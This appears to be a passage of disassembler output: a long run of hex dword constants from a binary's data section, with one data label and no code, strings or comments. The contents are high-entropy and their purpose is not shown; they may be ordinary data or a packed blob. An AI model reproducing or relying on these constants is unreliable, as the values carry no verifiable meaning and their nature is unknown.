dd 0C0834810h, 74642541h, 3805E8E9h, 6A32E1EDh, 494DE7F4h
dd 0AB926E59h, 0B01199E2h, 22257637h, 0E5987E6Fh, 0EC4412BDh
dd 7CAC4A92h, 567FE9F1h, 0F72F72F4h, 2B491494h, 890B60A9h
dd 0B6DC7AD9h, 69E15664h, 10A2DA7Fh, 5C1D4B25h, 386CC956h
dd 0AA9E9B5Ch, 0FE7224BCh, 5E0D1902h, 3B38E106h, 220BD72h
dd 0E5111863h, 0AE445E05h, 0FB29BE00h, 2E67BA52h, 0CDB4014h
dd 0BB1AAC43h, 0F2A8FD0Fh, 9B1645AFh, 0BAFC65BBh, 975CE58Ch
dd 2152C716h, 36F716B9h, 35A1E3BCh, 0A98C7A7Bh, 527549EEh
dd 28F1E18Bh, 30CAE985h, 8BEF3024h, 0C2680AC7h, 0E9842311h
dd 65BA6CEDh, 0A45C8122h, 540C063Fh, 14B8E325h, 0A0891D45h
dd 0BEFBCF17h, 0A9F1C122h, 0AF7D5BA7h, 57152957h, 2C8147E8h
dd 4282749Fh, 6CD44E6Fh, 0E61B3D60h, 0E7C1FB4Bh, 981AA4h
dd 49F18077h, 34B0C888h, 59AD8640h, 3090753h, 6C400174h
dd 6C4FC97Fh, 0CD1326E8h, 485FDAA6h, 0F2D916D9h, 5EC5FA47h
dd 2889ED30h, 6010DDFDh, 88165BF6h, 0C3FF59EBh, 6043F08h
dd 3C4BE9C9h, 49A5B2ECh, 0BBF0CC4Ah, 0E014FF97h, 0F735FE32h
dd 0D3B341D5h, 71F54781h, 7F0D821Dh, 0BA89F0E8h, 759D6DF0h
dd 83614E3Eh, 47FA680Ch, 7CDE5DC2h, 7D9EDF5Ah, 7E93FB81h
dd 18CB93EDh, 0F42F457Eh, 477CF2A1h, 9152128Bh, 6973DA2h
dd 30C1BAD9h, 0E16C4A5Fh, 0FD8ACDD6h, 0BC128B8h, 0DF5B0B8Bh
dd 0EFD7B892h, 580A2659h, 411F3CB9h, 0E18118D4h, 434C7D61h
dd 33132Ah, 8464EEB1h, 0EA3A2D40h, 7E3C2F52h, 787489A9h
dd 7200A6A9h, 0D480143h, 0A77F3C00h, 781A3573h, 94117A6h
dd 486FB6C7h, 18E32621h, 7D2802A5h, 0A9D8090Ah, 79C7225Bh
dd 474FC360h, 0F82AE7CCh, 7C0841AAh, 0E0A07A7h, 0CBD05F7Ah
dd 98301A10h, 97012747h, 0BA21DAA2h, 5E8450Fh, 0C05AD3BDh
dd 10526BA9h, 82BC2D3Fh, 0F0296766h, 0E9078105h, 59647E95h
dd 0D0F9E4CFh, 5939EA08h, 29096C5Ch, 0A7E55FF8h, 339E0501h
dd 98D44D23h, 28E41621h, 0C2F811E9h, 51DBF702h, 38C143B8h
dd 0CF917A72h, 7155FDEh, 0B3A8B74h, 0BD88B4D7h, 47977F16h
dd 0E877A5F3h, 85234A87h, 0D3344E09h, 0E139166Fh, 2294D6Eh
dd 455A14ACh, 2625990Fh, 0EE7C4518h, 58C2B046h, 9D94B006h
dd 0DD309C01h, 1C0E305Bh, 5734507Ch, 958257C9h, 2889DFF6h
dd 648DD357h, 5A23BDF8h, 2FFEA5C4h, 0F14A649Bh, 97965AC6h
dd 0DCD0C841h, 0CEB73287h, 9B39290h, 69397BACh, 0A9CDC17Fh
dd 0B0AD5805h, 7697BBAEh, 0B80745CBh, 0CB8A4BE8h, 582CD14Bh
dd 5010A50Fh, 1E5E5FF5h, 0A4D9E7B7h, 44923F0Ch, 49511CBFh
dd 94163D6Dh, 3510212Ch, 0F72EE060h, 9F68D60Bh, 0BF4666Bh
dd 321D5846h, 873229FFh, 8E5260BDh, 9AE284E6h, 0BB4187B7h
dd 39FF44A5h, 57057FAh, 9E992D6h, 682E206Bh, 1D98DBE4h
dd 3D2C7B0Bh, 73170D41h, 0A3EDB6EFh, 5AEC242Dh, 66415A4Ch
dd 8CC3A64h, 94AC7368h, 5B766273h, 8611E901h, 7D5B36Ah
dd 75E5DC9h, 553752D2h, 575AE754h, 0F789A856h, 0F57504D2h
dd 721745AFh, 3739FBA7h, 9C5693F8h, 6234A2E2h, 0CE30ADBFh
dd 30B73BD8h, 0FCF6805Dh, 2DAA9088h, 82F3511Ah, 0CE8A11ADh
dd 0DDF74D8Bh, 0D8495800h, 0FD98963Ch, 4E42AB41h, 0EB13642Dh
dd 0C8411D32h, 0C10197D9h, 0D72470E6h, 5D620995h, 0F693ADBh
dd 495A7124h, 8478E3D7h, 3FB1BD00h, 53B85616h, 98A9FAC0h
dd 53F5E88Dh, 0E87EC823h, 78799FC3h, 0A088B962h, 7978F7A7h
dd 496398CAh, 2D077532h, 0AAD53DD1h, 51BEE01Eh, 114F050Ah
dd 0B07B5DE1h, 73545CD3h, 8AC95512h, 24585148h, 0F4CA081Ch
dd 0AD2C4D2Fh, 8D554119h, 48207836h, 9453AA3Ah, 0B28B03B7h
dd 0B62843D8h, 0ED67F178h, 0E6626D06h, 0E5DC779Bh, 5D7DB881h
dd 0EC7A7B24h, 0BBD918E5h, 3ACF86A1h, 0CD5FD1F6h, 17423953h
dd 4D3C40F2h, 0F0809BFh, 0E200091Ah, 425A3DEBh, 37010198h
dd 0E914CD6Fh, 0DF785989h, 618EE2E7h, 2055784Ah, 2F200CEEh
dd 8044F079h, 8F124A57h, 64BF295Dh, 280C1AFEh, 4F401C12h
dd 0B4833142h, 0E54FF8AEh, 68EAED0Bh, 0B66CE151h, 6E4E60DEh
dd 0B490368Dh, 5263E6Bh, 1BA8996Ch, 436509D6h, 726BD010h
dd 330412Eh, 0EB370A02h, 379E4345h, 3116D506h, 3FA83F27h
dd 25CC69B5h, 57B52567h, 31BCA377h, 76A13DDh, 10EDF479h
dd 2FAF0604h, 9281EDC1h, 7780FBC7h, 7C012DEBh, 59BD5F62h
dd 3BE9851Fh, 0E4DAA439h, 0E654405Eh, 464F7036h, 6465D0BAh
dd 0BC2649E1h, 91080A29h, 8A422DE8h, 0CBB61E60h, 7B547582h
dd 4D416806h, 0B34E2567h, 544F8B1Ch, 0AEB4D2F8h, 4A5F25A4h
dd 6A7D8959h, 549CB0C4h, 0EBCCF7C3h, 0C1DAE1C8h, 644B0F8h
dd 4F883BF4h, 0F748F829h, 0A928265Ah, 5A794A20h, 3E2BEF57h
dd 3C3BEF55h, 7EB26201h, 5D8F701h, 20FA1DCDh, 0C08FB26Eh
dd 9A0DB0C4h, 40DA9F05h, 0B435E69Ah, 0E2F043A5h, 0FE2F2CA8h
dd 854C1357h, 16CCAF12h, 0E9824F29h, 4BA381CAh, 81F82E0Dh
dd 0CD3A979Dh, 10846CDDh, 512BEFE9h, 0F1D14180h, 0FA1B7B39h
dd 1D81852Ah, 2481699Ah
dd 363BED25h, 0DFF9E86Dh, 2BE5CCFh, 764D545Ch, 0D3890936h
dd 0DE7A1F82h, 0D7FF2D05h, 0F455090h, 7AB03A03h, 0CE5C7B40h
dd 432465E2h, 0AD3A8444h, 0D1150C1h, 75DF2613h, 9D94EAh
dd 4D6A71C8h, 0A227E97Ah, 132AF9FFh, 2621D850h, 6894745Eh
dd 424B9CC1h, 5DA485C6h, 2B1336E9h, 0D4E7FCCFh, 600810B8h
dd 48848448h, 0E9D8EE37h, 113B440Fh, 97056640h, 21BDAFF2h
dd 0FFCAE29Bh, 0C674BB3Ah, 0CA6112ADh, 407078D0h, 3329C2B7h
dd 8F0AEF26h, 216C2200h, 0C2DEF71Dh, 3DC2E904h, 0DF8226DFh
dd 0DC3AFDFAh, 0B72E5375h, 2FA623FBh, 0D008422h, 29DF0537h
dd 3D218625h, 0C4014730h, 2D61E340h, 67F3CCC2h, 0FD2F0DBCh
dd 0D39F5896h, 4E7192F6h, 87C558EEh, 38CCADE8h, 9FFBBA3Ah
dd 549D131h, 48C557C4h, 0DC25FE2Bh, 57312738h, 40247056h
dd 4CE88880h, 0E4163659h, 0A236AC75h, 68C5555Dh, 2C18380h
dd 0C19BD4E9h, 0BC6E0E35h, 53E74241h, 40BD6BF2h, 121AE678h
dd 0CF5E25A5h, 0C7B65B34h, 0FB366812h, 89D7FDE2h, 0BACC30DAh
dd 7A3CB605h, 0C1FF5018h, 0A74D05E8h, 0AFC55790h, 0C59BE963h
dd 0D5F8934Bh, 9926CEC7h, 0DBE872E5h, 8C30AF4Ah, 902F60B2h
dd 11DABD04h, 8153C4BFh, 28F71AAEh, 72AA5A2Ah, 77250A81h
dd 3D6638Bh, 7CF826A6h, 3C78D205h, 27EBD436h, 51FA005Ch
dd 805C5CB1h, 0EA3A7399h, 2E7D99CDh, 72382955h, 38651105h
dd 1625BF06h, 47E8BABh, 76E9DD87h, 2754B8EEh, 583BDC53h
dd 0C45E67E9h, 0E0438D22h, 5B5E3CEh, 0E90AA245h, 35BFDC8h
dd 22696FCEh, 0C24C0E1Ah, 5316AB71h, 884BFA73h, 0ED0FE8D8h
dd 6A291E32h, 3979C89Ah, 0A0084F26h, 0FE5E1260h, 0A64133F6h
dd 58B8006Fh, 33E7B951h, 5F6C9427h, 4B4A09E8h, 56735427h
dd 0FEBF08D6h, 4276126h, 0F8A9798Fh, 0E9578F84h, 0DB0893D3h
dd 2868000Bh, 5845BD22h, 3FF2D30h, 0B7A633E9h, 0EB035A92h
dd 0D50212DFh, 0B2B0E1C3h, 5C8C840Fh, 4158ADAAh, 0BB44F4EAh
dd 71A0115Eh, 204678E2h, 67076A74h, 4A308E65h, 0B1E20719h
dd 7F02913h, 0A841EA28h, 0CBCAC009h, 6660DB7Fh, 4803924h
dd 5015991h, 12B3B410h, 0CAE3EF88h, 61D8523Ch, 0DB785719h
dd 0B6362A9Dh, 265027C4h, 17801B20h, 789D2BE8h, 692CB15Eh
dd 8A58FF38h, 30C3D682h, 0A24C41CCh, 0C30C3267h, 0C43A8672h
dd 85974E57h, 0BCA4BB0Bh, 8B841FF0h, 0C03F966Ch, 0EC88504Fh
dd 5875E2E4h, 0DFF9D34Ah, 360EB97h, 9AE5A1E9h, 3B40B3Eh
dd 43002C80h, 74E312B8h, 5D000CDFh, 0EB214EB7h, 16374FE9h
dd 663CEF4Eh, 5F442FE9h, 48552192h, 82B165F9h, 0D175576Ah
dd 80F2922Ch, 80C3FE07h, 6C2E333h, 0DFCBC2F1h, 0F3D8B163h
dd 0D9092885h, 70D1F65Bh, 0FE0AC669h, 40F008C9h, 0DC7809B7h
dd 46FC2DFBh, 94FCBA50h, 74DC8222h, 0F84027D2h, 410B3FC3h
dd 0F1DE0910h, 24EA48Fh, 61FD4FA8h, 22D78562h, 0CAB5E93Eh
dd 134ED7C7h, 20C2E4B7h, 81034839h, 27BD1CBh, 0AA0C0972h
dd 0B00E66Ah, 8E0B8CC3h, 78293E2Dh, 9D1420D9h, 0ADEE897Eh
dd 0ABCF4A6Fh, 9F607895h, 0A168ACD1h, 0B092A997h, 8004F7F7h
dd 3601121Ah, 0EC812F1h, 14AB432Eh, 82DC413Ah, 83015AF1h
dd 0E48201C6h, 0BB0BCE4h, 0EE95D443h, 68DD5830h, 317B4B2Eh
dd 148D171Eh, 96B6A6AFh, 9470CC0Bh, 0BC549703h, 0C830E784h
dd 0E90922E7h, 40A06C96h, 0E38620F3h, 16E9F64Ch, 31EE6741h
dd 44D0B7BBh, 64A7C155h, 0F17FC26Bh, 1672ADD4h, 20A4E12Fh
dd 0B3E92874h, 0BBA0B485h, 9D379D96h, 8EF330F4h, 0CF31704Eh
dd 1B309368h, 4718913Ah, 22D41038h, 3902C72Dh, 45E95DA7h
dd 0ED93A064h, 7BEB0A34h, 54B02C22h, 5077807Bh, 0D8016B06h
dd 57070550h, 8EA6802h, 0D85F592Fh, 67C0BF76h, 474FA73Fh
dd 7668BBF0h, 0BD4EA8D6h, 4FE47412h, 0FD012C60h, 308A1109h
dd 0D741FD2Dh, 0E1A83F05h, 0E90B9748h, 0A0C94A13h, 0CD673052h
dd 83F75B28h, 0F3B7F227h, 2118929Fh, 62786E79h, 60FDC9F4h
dd 29EB76Fh, 5B66F808h, 60DDD22Ch, 4E301601h, 0ECF6F0h
dd 0C049B050h, 93406E0h, 30C6E99Bh, 42C824C8h, 4C119526h
dd 19392E02h, 81897710h, 61B633D0h, 0F7186504h, 0B70149ECh
dd 21D1C0CDh, 0BBB72EEAh, 35E2D230h, 185BA23Fh, 20230B0h
dd 0F221DBB2h, 84E831E9h, 0DAF294BDh, 0EE890D13h, 285FDA08h
dd 0D37F4AB5h, 0FEFBDF7Ch, 19C41E5Ah, 0C1B4EAFCh, 6B65CD16h
dd 33D9A531h, 6D03A322h, 578544D5h, 4725D3E3h, 8A0565Ah
dd 0BF02C093h, 41452155h, 6F75F6E1h, 0BE2DAA2Ah, 921D617Fh
dd 68A4508Fh, 989F52C8h, 4C4010F7h, 4E2F6EE0h, 72B4B560h
dd 6C4B27B8h, 1B282CD9h, 4F9BBA7Bh, 7F4B2D5Dh, 5D962F5Ah
dd 1680AA84h, 0CE1504Ch, 2DF401B9h, 0B1BA3BAEh, 313AE074h
dd 57AADAB5h, 0DC482C5Ah, 0F9468F04h, 41E3015Bh, 0FD315CE5h
dd 0BFA5852Ah, 95173DCBh, 0C28AABD8h, 66A56830h, 3C5C22BEh
dd 2FEE0C0Ah, 7DC60A03h, 65F9F56h, 3F154653h, 31A40245h
dd 0C1970895h, 69C48001h, 0AF3EE688h, 7352CB44h, 0D6B9B3EFh
dd 0D818DCADh, 5FFD9162h, 8AAF894Eh, 0FB291F7Ch, 0D9CC5796h
dd 7AAA800Ch, 594F10EAh, 0C02F8EFDh, 0EA5A2484h, 0CA978FE8h
dd 51D651A1h, 7EBE2C5Ah, 35B2EFB8h, 0E92218D7h, 0BAA14ED7h
dd 7D7EB171h, 0A3F48251h, 9946C960h, 64688438h, 0B031EA7Fh
dd 0D707DEFCh, 871E99Eh, 0BEA1C193h, 0DA03B26Fh, 3AD25F07h
dd 81475800h, 217480E7h, 5FB7B00Eh, 4885E384h, 0DF5D1757h
dd 0EC6DD9EFh, 5F95422Ah, 2FD1392h, 56431059h, 0D54D6287h
dd 0BB74C009h, 0CF689D1Bh, 0C10055F8h, 14EA8179h, 0D32C7011h
dd 7946FB6Eh, 0C28FE01h, 4CF46BE6h, 98BD65DAh, 806F7879h
dd 7A07B8BFh, 4F474C59h, 1120A61Fh, 5704A2E1h, 0E9C290FBh
dd 0FE597D5Eh, 40BD96BCh, 830727FFh, 975F3C73h, 4910F41Ch
dd 0FBB95101h, 0ED0D4104h, 0F7D8744Fh, 0DF68E10Ah, 9EC2FD4Ch
dd 0A1F0092Bh, 6586F2B7h, 0F8D83855h, 0B2AE6EFh, 0C90AFC67h
dd 0ED329784h, 8453CFF0h, 6A9772Bh, 0CEC800D2h, 816AF33Ah
dd 507AE607h, 68302592h, 0E8994DBAh, 0E8C11C58h, 727D4005h
dd 0D0F733D4h, 0FC212D4Eh, 642427E6h, 59545DBDh, 0A3365D86h
dd 790BE704h, 0FF3742h, 0D3D8DCD7h, 0FA0C09A2h, 0B4AAACE9h
dd 0B623EC40h, 36752F64h, 2D44908Bh, 2AE4AC32h, 7CC89280h
dd 0B7443180h, 42EAF49Bh, 0BB2CFB78h, 72051909h, 0A63CDD31h
dd 0F00113D8h, 977B8B8h, 791DD368h, 996283AFh, 5F07799Bh
dd 0A3E9515Ah, 778860ACh, 147259E5h, 63176809h, 0AA89D579h
dd 0DD7E3233h, 5C9BE950h, 0DBF5781h, 7A605B7Ch, 0B7494A31h
dd 6168168Ch, 9BA2A64h, 8C2BC874h, 692C4B5Ch, 528C4017h
dd 0F3290952h, 7092E978h, 44467D60h, 8E854ABCh, 18C08068h
dd 783C32BAh, 9E2F862h, 33519C8h, 44139C64h, 1FBB602h
dd 0B6F514Bh, 3AE56E0Dh, 0D9AF0805h, 1FA42EA8h, 0C1211405h
dd 781BD94Eh, 12F87DF9h, 0A84B23FDh, 3D4DC1BAh, 67C82FB0h
dd 4DACC95Ch, 0B8052920h, 385CCA5Bh, 1D83FD7h, 4D26852h
dd 13E2A40h, 56449D66h, 0E971643Fh, 5BE1B649h, 0F84E518Ah
dd 253F852Fh, 5EBC32FBh, 0D7DAD956h, 0B42AAA30h, 2646FF82h
dd 0C2C6E226h, 0C23BCB88h, 0B4E48519h, 4777FA02h, 41EF2957h
dd 0FC2EC2FDh, 240C61B5h
dword_4F6844 dd 0FDDE687Dh, 2F089B28h, 2F4902D5h, 0C981006Bh, 43D4E15h
dd 0ED60984Bh, 2FD03016h, 0B3F4885Ah, 48DB5842h, 0A1206F9Ch
dd 45353655h, 2B90F701h, 0CA055F9h, 67542EA9h, 0FECD3489h
dd 0C8907E0Bh, 720EFC2h, 12F4249h, 8548EC7h, 0AAF50C69h
dd 6362C64Fh, 0CABE00E5h, 2300BA13h, 8536F681h, 4801567Fh
dd 60777BF1h, 2CF76124h, 8B5BB7BCh, 34874CE0h, 10649CAh
dd 0F0A6C88Fh, 0CBAD2FF4h, 94E7D10h, 0A5101368h, 0CAF0ED52h
dd 4E45FC0h, 0F2620953h, 1257328Dh, 1000B83h, 0E7EBBBBFh
dd 5BD9E09Fh, 6592E11h, 0A37C3C10h, 0EA6E2508h, 0F0800761h
dd 0CB61FE88h, 0DD28E50Ah, 333859FDh, 53E1BA0Fh, 525D6B29h
dd 0F6AF80D1h, 32390479h, 3BCADE9h, 0C7F3285Ah, 0A1B4D1B5h
dd 166D18EDh, 7BE29823h, 0F235902Dh, 0DCCA0659h, 5A54210Eh
dd 2583C8C6h, 0A4F65B92h, 234FD453h, 946272AAh, 2C1D9490h
dd 0B1F8479Dh, 3535E907h, 97414019h, 0FA4B2205h, 0C5AC00FFh
dd 4D53A3Fh, 82C4FAB7h, 17C97308h, 22F115E9h, 903AC737h
dd 787B55C5h, 0C183C1B5h, 0AE060844h, 7B9C0D4h, 264A18EBh
dd 37DEB345h, 93F2453Bh, 7AD4457h, 1F2F1650h, 4B9336E2h
dd 66697C02h, 0F6798E54h, 0C0D940D1h, 78005E1h, 0CA3022F1h
dd 7E29359h, 0E976F2C8h, 99E18729h, 7C640038h, 5BD931C0h
dd 0E0CE5C09h, 6661F600h, 0B1BB0744h, 6C2B1D02h, 5E5EF331h
dd 0B27D2DC1h, 727D821Ah, 0DBF70380h, 2A9244B9h, 41F36B8Ch
dd 0C7C22E6Fh, 8301DC42h, 70316467h, 97BEA5DBh, 19E5CB06h
dd 0BA233F5h, 79F8A954h, 0FE2D0BF7h, 0A2D0BC0Ch, 2E8D4121h
dd 3C8B5F44h, 8497E6EAh, 20BBC3B0h, 55BF4DA9h, 8139FB99h
dd 499D16A3h, 0A23B1BE9h, 0F78985FAh, 61BF6AEh, 14FA2B0Ch
dd 0E0F39790h, 1409643h, 952FF24Fh, 8E018C98h, 89E9C1C9h
dd 0A0A42078h, 906D373Fh, 9D0757Dh, 51E933A3h, 0FC29F024h
dd 0F0FA9C27h, 4D1C0D0Dh, 2CE90E01h, 4F680A50h, 60CC9613h
dd 77804AAEh, 1E3F3890h, 0E94F8429h, 40E5C3BFh, 0BD0052D5h
dd 5A3240FBh, 0F47C0Dh, 72E3CE81h, 3B69A43Bh, 0E67B0BEEh
dd 45A07F79h, 461261D1h, 2C15CBA1h, 822C31E9h, 57D204F8h
dd 2C2ADC96h, 0E9EC5150h, 0FC27992Dh, 568E7DFh, 512CCC40h
dd 63011FF2h, 83595C73h, 0E84301C1h, 6FDEF934h, 4F2BB340h
dd 293325ADh, 752724FCh, 0BB810CCEh, 8E350063h, 7E180F93h
dd 8086C729h, 0C495185Eh, 0F22322DBh, 60ABDA4Eh, 7AC3EB54h
dd 0C698589Ah, 75259CB1h, 58ADD6B6h, 0ECB95180h, 0BC3AB0F2h
dd 7ADF0D9Eh, 0A5C06F7Fh, 4FDAFCA7h, 0E305AAE6h, 0CFD1827Dh
dd 0A7CBF6D3h, 805AB7FAh, 0CAFE45FEh, 25DB2E68h, 68665FAh
dd 0BD4F6B3h, 60BCD997h, 0D2F6A9CAh, 686604C0h, 25E9620Ah
dd 26A36040h, 9926FA1h, 0C387465Dh, 0B27FCF18h, 36095076h
dd 0DD17FE0Ch, 80D5362h, 8114040Ch, 79E54425h, 962CC50Ch
dd 44B64882h, 64F80BE0h, 1C002FE0h, 3ED9632Dh, 7A9FBBB8h
dd 0EEFEBD23h, 888576DAh, 0BE02612Dh, 70363ADEh, 96B01DEh
dd 0E6C14754h, 31628203h, 60505B10h, 0E346D5Ah, 0D1E92E55h
dd 0A2F34AB0h, 391BDE81h, 0DAF5F82Dh, 0C5010DC9h, 0BBE986CEh
dd 0C20AB76Eh, 851E16B4h, 7E206609h, 0F03FE458h, 579F5CF2h
dd 0DC967CA2h, 4FB1FC57h, 0E2F3A22Fh, 3C49781Ah, 0F1E061A2h
dd 0A874C45h, 0A04389C1h, 0C0E9CA31h, 0CA5D9DAAh, 0BD0FD769h
dd 93E89E85h, 0D792DF30h, 263E60FEh, 50929389h, 0FF87729h
dd 2A5F9531h, 0CE209038h, 9295E27Ch, 0C41C5782h, 4B68B0C3h
dd 724B163Eh, 0E27BB5Ah, 89BB8185h, 34FD3D5h, 4D04F5F2h
dd 32D42E9h, 0B20306BBh, 0EEA3414Eh, 2CB36803h, 4CE7BF84h
dd 9D799F78h, 57402DC2h, 8968CA5Ch, 5FFDDC13h, 84EF80C4h
dd 93BE84Dh, 5F5062EEh, 1216C2C5h, 943907A1h, 3913AB94h
dd 1CE9F55Ah, 5E13B31Dh, 0AAEE3C0h, 0BF33E00h, 23712153h
dd 0C190DB27h, 0C25F3DE9h, 7233765Dh, 0A8204678h, 0C95EB538h
dd 7D44C6A0h, 60014170h, 29136E11h, 95A032F3h, 834B401Eh
dd 2001EE30h, 0FB2DA6E4h, 415875DFh, 0DE1F4B4h, 3E8F5018h
dd 2F37B10Ch, 0A0FA26F3h, 941263E6h, 4EF662Fh, 0B8FB8946h
dd 656EAD04h, 0A388FFD5h, 0D72FFB49h, 3F7E01D8h, 1DE10022h
dd 0CF87480Eh, 3A08C104h, 0C71BBE84h, 21EC81Eh, 86E4DAC2h
dd 4310F062h, 0CB5A25E9h, 0AE4EB1F2h, 4EE1AA85h, 0E145ED2Eh
dd 286BF529h, 0F1EF45EFh, 0F8D2D17Eh, 3B67ACE9h, 7891F34Fh
dd 9C215AA9h, 9C6AC1F4h, 0EA734F9Ah, 0A816762Eh, 516DDC70h
dd 0CA9D8AF8h, 691A71BFh, 9EF6405Fh, 27B5BA39h, 0C1D6B668h
dd 0DC9D3689h, 7FC0CB0Ah, 9C59FAh, 0E8391384h, 0E6D500AAh
dd 0E929C2ECh, 0B3904D2Ch, 8454538Bh, 75CD233Eh, 1E5E2330h
dd 6D39F507h, 74B653C0h, 25F18080h, 6CD5286Ch, 0B3C89F6Bh
dd 719784AFh, 0B1D1C95Ah, 3EEF443Eh, 0E12FBC84h, 0AE3AB802h
dd 818AD1FFh, 44570ACBh, 8612058h, 0DA06DC27h, 12CE5BF8h
dd 278FBF52h, 0B7C6E918h, 8A98BE56h, 11BD5AE2h, 248C580Bh
dd 0F2918EA0h, 5FE3F4Ah, 56CF7B69h, 0FC2F8B9h, 846EA22Eh
dd 1055573h, 56AA03DDh, 0D2D75713h, 64DE7631h, 808C6050h
dd 23136BBAh, 22AE2927h, 0DB5E4262h, 4E0F6207h, 28D9BBE0h
dd 0B0955F96h, 0E95C4BE2h, 0C04A61B3h, 247008E2h, 5AEAE68Bh
dd 5B88E3C3h, 0E90BF1ECh, 0E194D786h, 7EADCBBCh, 43F62791h
dd 7217B1C8h, 0CB4C6DE3h, 24268010h, 9554A65Ah, 687827F7h
dd 99AB7CF5h, 0A95FC3Ch, 0F587B9B6h, 29D47832h, 4E1F80CEh
dd 6D461CF7h, 2F08DF54h, 14763098h, 2E5F3F07h, 5C96BC1h
dd 87107623h, 45A726Eh, 33C4D5B8h, 844CE241h, 0C00BDBEEh
dd 3E802D87h, 0DC6D35Ch, 7B597A7Dh, 642358Eh, 0E117E913h
dd 0C0FD4A50h, 0F5E9505Ch, 7763B2C8h, 963698D3h, 0D07C27C8h
dd 9B5767Ah, 2B745215h, 585F68E2h, 52DEB7E0h, 93A1AE3h
dd 315FFA1Bh, 840D4A55h, 0F9EB5BF3h, 0A5B4B567h, 23CC0768h
dd 0FF5A2E35h, 0FDC6662Bh, 0CBBD0D37h, 0F52E4AEDh, 1B53206Bh
dd 5160A741h, 0C7801606h, 272FEC88h, 6F495F53h, 0D4BC2E2Dh
dd 89A6E24Ah, 0CA4CDD52h, 0C177FA82h, 907540BFh, 0E90CF85Ah
dd 0B80A6E84h, 75552802h, 5FD8F73Fh, 6582DE3h, 7DE810A7h
dd 81F0301Ah, 91F3FD0Eh, 80896F8Fh, 2B73BF0Ch, 4CF777A5h
dd 381E56D7h, 0BC2ADD15h, 845CB084h, 0AD05822Eh, 92E6D9FDh
dd 8A120E28h, 7D8FAA77h, 1644B612h, 2D16B05Eh, 0D6BBAC16h
dd 50F4FFF5h, 0CDEDC03Dh, 4C6833D5h, 0F59DF775h, 6A419392h
dd 84F5F2A1h, 0B1FEC532h, 0E97030C5h, 67492E2Dh, 0B86C8B73h
dd 84C9F65Ch, 0FA911E6Bh, 0F9E0F830h, 0A82AE133h, 1AD8F188h
dd 4FEEA381h, 2F22673Dh, 8140294h, 4C8C1020h, 58D06802h
dd 0E6603C4Ah, 0E08EB30h, 8C689CAh, 0F42F3101h, 633501D6h
dd 2B07B529h, 10B926C4h, 8080BA75h, 0B95E3142h, 89936A45h
dd 837C4E93h, 5BDBE958h, 87FF9216h, 0E4D7D157h, 0A3D604ECh
dd 1B45BF00h, 0BCA02209h, 5C766270h, 0E6C14612h, 2A822C05h
dd 523E3FCAh, 19874C1Ah, 3B303BC0h, 5C74FDA0h, 0B28DAF82h
dd 5D5EB245h, 0FA54E5AAh, 10A06F40h, 77091D27h, 9ED489Eh
dd 843A631Dh, 0AE9EAF27h, 0A3856A48h, 0FC5595E7h, 0ABA897B5h
dd 20CA9738h, 8025B474h
dd 93ADEC3Eh, 25B8F162h, 0AF56F2C4h, 38A45E37h, 0FC076ACh
dd 0E9312A1Eh, 0FB81225Eh, 73DCC829h, 84339957h, 0B37BA968h
dd 372002E6h, 5529113Bh, 0E9E29A7Ch, 0DAE85FF6h, 0F3A47249h
dd 9F056040h, 522EF474h, 0B869C5C1h, 0C5E829FCh, 4526E94Fh
dd 0C2F9018Dh, 48058692h, 0D9CD4782h, 52660DE9h, 2B75F64Fh
dd 2CE07C54h, 7FB40C5Ah, 465A1185h, 3CB2C324h, 9431392h
dd 0F1551955h, 0FE5C5A71h, 7953C500h, 149EBD47h, 0EA8C01C9h
dd 712D1E04h, 10FF8409h, 0AF4908F8h, 0E8895082h, 201741DCh
dd 4162EDE4h, 188F30DCh, 982264BDh, 60734154h, 0DC2C5051h
dd 0FC065235h, 0CCA1F7Ah, 0F82AA7C7h, 6A412B2Ch, 8B00AE2Ah
dd 2470D4F4h, 0EE00B721h, 934C97E6h, 7A8645Ch, 1C832843h
dd 0E09F3C0h, 0E96617DBh, 5E764C54h, 40132D68h, 0B8013E6Bh
dd 306A1A29h, 2E0C430h, 0E91CA61Dh, 48563F78h, 5E2AD585h
dd 0C090C4C1h, 1225E210h, 0D143F51Dh, 1602F0AEh, 406EF47Bh
dd 2FF10DD3h, 415C5021h, 0EB5F2511h, 5F03AB0Bh, 0A5B5D998h
dd 0C1B38051h, 9606FCE8h, 0B2702ED9h, 0D0BDA050h, 3E626243h
dd 0B656D1F4h, 2F89C40h, 93D897DDh, 0A0C30126h, 0B6E86817h
dd 53A71A9Eh, 0EB9545FFh, 80E72EDFh, 0FECAD954h, 0A2C84F01h
dd 6855E040h, 734E0661h, 604D5D5Fh, 8CB1A40Bh, 2063D8A0h
dd 0F7161B63h, 6E3455DAh, 45A9F3C1h, 0BBA0C80h, 31092C04h
dd 48C8545Ah, 67BE25E9h, 0C090BD49h, 0E4B018B2h, 38099D90h
dd 1D606Eh, 0DF097209h, 0B8AAC168h, 6F3D5D2Fh, 0C237D0B0h
dd 59D5E90Eh, 0E8B446D3h, 9A00C8BFh, 905F7040h, 5AED0F2Ch
dd 86857E58h, 4A3C9128h, 7C82437h, 95D7B2AAh, 0B5743EADh
dd 697A74FEh, 0E67E572Ah, 88C52D5Dh, 0F5258305h, 15F55B32h
dd 0DBF1AD1Eh, 0AF1E9C20h, 1E2E83F0h, 0CA305D59h, 0FEF2404Bh
dd 0E8C0C814h, 176E3EC5h, 0B341281Ch, 195D25Dh, 0B2EFB87Eh
dd 0F589828Fh, 0F85D0916h, 0A2681F58h, 0B80A1602h, 46AC5BC1h
dd 92E76BB8h, 0D693EA1Fh, 9D5118Bh, 0E1ED0040h, 8325CD73h
dd 2E017EC5h, 0BA449443h, 69A44CBEh, 72D143Fh, 0DCB25D2Dh
dd 232675Dh, 766C7284h, 0ABA56055h, 0D9E083C2h, 134C094Ah
dd 40300432h, 5EA15D1h, 0C17CFEB9h, 0C8E6BAD4h, 292488C6h
dd 6F0B27CAh, 35167DBCh, 7FE52C5Fh, 95D2FDDBh, 17715747h
dd 0FF852F3Eh, 0EA24AE85h, 41D7D1DCh, 0EF34824Bh, 7098FD7Eh
dd 0A21A4B97h, 0A56E8645h, 18F77D17h, 6C376236h, 0A0307CDEh
dd 0A3201854h, 0C4BA4EEFh, 3616EB2Ch, 88EB04BAh, 0F2800232h
dd 3360FF2Dh, 9BB8CDFEh, 755969FEh, 6E81C58h, 350172E4h
dd 7948CE54h, 0E01A357Ah, 6C12DF69h, 56C434D8h, 0E2000716h
dd 0BAC1708h, 5D02829h, 5B5A0E07h, 0B3939A68h, 584D0420h
dd 8EC24BBDh, 0BACDE879h, 1E6D164Ah, 6741EA20h, 65927A4h
dd 20B2420h, 0E93C026Ah, 30D57476h, 0B555801h, 18148DBDh
